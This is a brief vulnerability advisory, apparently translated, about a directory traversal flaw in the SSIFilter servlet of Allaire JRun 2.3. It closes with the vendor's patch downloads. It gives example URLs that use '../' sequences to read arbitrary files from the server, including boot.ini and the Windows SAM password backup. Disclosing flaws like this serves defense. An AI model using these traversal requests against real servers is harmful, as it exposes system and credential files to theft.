Allaire JRUN 2.3 View Any file vulnerabilities

Involving procedures:
JRUN

Describe:
Allaire JRUN 2.3 View Any file vulnerabilities

With:
A multiple display code vulnerability exists on the Allaire JRUN server 2.3. This vulnerability allows an attacker to view the source code of any file in the root directory on the WEB server.
JRun 2.3 uses Java Servlets to parse various types of pages (for example, HTML, JSP, and so on). Based on rules.properties and servlets.properties file settings, any servlet may be invoked using the URL prefix "/servlet/".

It may use the Jrun ssifilter servlet to retrieve arbitrary files on the target system. The following 2 examples show URLs that can be used to retrieve arbitrary files:

http://jrun:8000/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../t
est.jsp

Http://jrun:8000/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../.
./.. /.. /.. /.. /boot.ini

Http://jrun:8000/servlet/com.livesoftware.jrun.plugins.ssi.SSIFilter/../../.
./.. /.. /.. /.. /winnt/repair/sam._
http://jrun:8000/servlet/ssifilter/../../test.jsp
Http://jrun:8000/servlet/ssifilter/../../../../../../../boot.ini

Http://jrun:8000/servlet/ssifilter/../../../../../../../winnt/repair/sam._

Note: Assume that JRun is running on the host "JRun", Port 8000.

Affected Systems:
Allaire JRun 2.3.x

Solution:
Download and install the Patch:
Allaire Patch Jr233p_asb00_28_29
Http://download.allaire.com/jrun/jr233p_ASB00_28_29.zip
Windows 95/98/nt/2000 and Windows NT Alpha

Allaire Patch Jr233p_asb00_28_29tar
Http://download.allaire.com/jrun/jr233p_ASB00_28_29.tar.gz
Unix/linux Patch-gnu Gzip/tar